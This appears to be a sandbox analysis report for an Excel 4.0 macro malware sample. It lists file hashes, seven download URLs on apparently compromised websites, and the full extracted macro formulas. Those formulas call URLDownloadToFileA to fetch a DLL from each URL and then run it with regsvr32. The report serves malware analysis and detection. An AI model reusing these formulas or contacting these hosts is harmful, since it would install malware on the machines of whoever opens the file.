Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    74ae4fcaf6fce510942f298840e2ffd98d185e6276f1da168b5057478ee5c71b

  • Size

    21KB

  • Sample

    241111-zvkdeszkel

  • MD5

    d932543082c698537ac4038898390231

  • SHA1

    fe6f21aa7cd2bd1ec9ebf9830ab17225febf1a1d

  • SHA256

    74ae4fcaf6fce510942f298840e2ffd98d185e6276f1da168b5057478ee5c71b

  • SHA512

    0e1380a3a6f0fb93a7874d5ae031220b2da85d3ab28e45f98b1c3cf916d3507dcbfa18a3b1eb7536641e6d7470f0028920ea6824a7be07e7a20489529b1d0ba7

  • SSDEEP

    384:PhuAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:PtsNxzXQFCBn9kC+xbL71

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

https://brutobrasil.com.br/pdf/toO18cIP3/

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/

http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/

http://bcelectronics.co.za/wp-content/grKnz1V/

http://bebesel.com.tr/cgi-bin/1wy3oHO/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beetle-j.jp/wp-admin/ErM4mW05tdj/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/toO18cIP3/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bcelectronics.co.za/wp-content/grKnz1V/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bebesel.com.tr/cgi-bin/1wy3oHO/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://beetle-j.jp/wp-admin/ErM4mW05tdj/

xlm40.dropper

https://brutobrasil.com.br/pdf/toO18cIP3/

xlm40.dropper

http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/

Targets

    • Target

      74ae4fcaf6fce510942f298840e2ffd98d185e6276f1da168b5057478ee5c71b

    • Size

      21KB

    • MD5

      d932543082c698537ac4038898390231

    • SHA1

      fe6f21aa7cd2bd1ec9ebf9830ab17225febf1a1d

    • SHA256

      74ae4fcaf6fce510942f298840e2ffd98d185e6276f1da168b5057478ee5c71b

    • SHA512

      0e1380a3a6f0fb93a7874d5ae031220b2da85d3ab28e45f98b1c3cf916d3507dcbfa18a3b1eb7536641e6d7470f0028920ea6824a7be07e7a20489529b1d0ba7

    • SSDEEP

      384:PhuAi/NjZS8EibbwBlwegASYrLb5CzgObff9kC+xbX77NWu:PtsNxzXQFCBn9kC+xbL71

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks